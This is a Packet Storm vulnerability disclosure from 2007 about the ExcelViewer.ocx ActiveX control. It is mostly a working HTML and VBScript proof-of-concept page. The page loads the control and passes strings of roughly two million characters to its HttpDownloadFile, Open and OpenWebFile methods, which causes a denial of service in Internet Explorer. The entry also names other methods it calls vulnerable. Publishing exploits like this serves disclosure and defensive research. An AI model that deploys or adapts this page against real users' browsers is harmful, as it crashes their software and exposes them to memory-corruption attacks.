excel-dos.txt

2007-05-03T00:00:00
ID PACKETSTORM:56395
Type packetstorm
Reporter shinnai
Modified 2007-05-03T00:00:00

Description

                                        
                                            `<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/02</b></p></span>  
<pre>  
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------  
<b>ExcelViewer.ocx v. 3.1.0.6 multiple methods Denial of Service</b>  
url: http://www.officeocx.com/  
sell: from 63.95 (update to last version) to 1,585.95 (Royalty)  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
all software that use this ocx are vulnerable to these exploits.  
Theese methods are vulnerable too:  
  
<b>DoOleCommand</b>  
<b>FTPDownloadFile</b>  
<b>FTPUploadFile</b>  
<b>HttpUploadFile</b>  
<b>Save</b>  
<b>SaveWebFile</b>  
-----------------------------------------------------------------------------  
  
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B965' id='ExcelOCX' width="405" height="50"></object>  
  
<select style="width: 404px" name="Pucca">  
<option value = "HttpDownloadFile">HttpDownloadFile</option>  
<option value = "Open">Open</option>  
<option value = "OpenWebFile">OpenWebFile</option>  
<option value = "Quoting">Quoting...</option>  
</select>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
on error resume next  
Dim MyMsg  
if Pucca.value = "HttpDownloadFile" then  
argCount = 2  
arg1=String(2097512,"A")  
arg2="defaultV"  
ExcelOCX.HttpDownloadFile arg1, arg2  
elseif Pucca.value = "Open" then  
argCount = 1  
arg1=String(2097512, "A")  
ExcelOCX.Open arg1  
elseif Pucca.value = "OpenWebFile" then  
argCount = 1  
arg1=String(2097512, "A")  
ExcelOCX.OpenWebFile arg1  
else  
MyMsg = MsgBox ("...They'll learn much more than I'll ever know" & vbCrLf &_  
"And I think to myself, what a wonderful world...",64 ,"2007/05/02 - ExcelViewer v. 3.1")  
end if  
End Sub  
</script>  
</span></span>  
</code></pre>  
  
`